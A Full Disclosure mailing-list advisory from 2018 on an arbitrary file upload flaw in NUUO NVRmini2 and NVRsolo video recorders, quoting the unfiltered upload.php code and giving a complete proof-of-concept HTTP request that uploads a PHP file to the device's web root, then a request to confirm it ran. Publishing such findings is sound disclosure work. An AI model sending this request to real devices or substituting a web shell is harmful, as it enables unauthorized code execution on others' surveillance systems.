full-disclosure - [FD] NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

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Message-ID: <tencent_A1B0E7B7C6D37938C0A0F93F@qq.com>
Date: Sun, 20 May 2018 13:52:29 +0800
From: "xiaotian.wang"<xiaotian.wang@...ppsecurity.com.cn>
To: "fulldisclosure"<fulldisclosure@...lists.org>
Subject: [FD] NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

==========================
Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@...das From DBAppSecurity
Affected Version: All
==========================
Vulnerability Description
==========================

Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world.

Vulnerable cgi: /upload.php

?php
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?

As the code above, no any filter, so we can upload a php shell directly to the web server.

==========================
POC  EXP
==========================

1. Upload 'nuuonvr.php' to web root path:

POST /upload.php HTTP/1.1
Host: 192.168.10.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------969849961
Content-Length: 162

----------969849961
Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"

?php phpinfo();@unlink(__FILE__);?
----------969849961--

2. Check if the php file is uploaded successfully:

GET http://192.168.10.1/nuuonvr.php

 If the page returns phpinfo info, target is vulnerable!

 Just enjoy it!
Download attachment "NuuoNVR_CVE.txt" of type "application/octet-stream" (1673 bytes)

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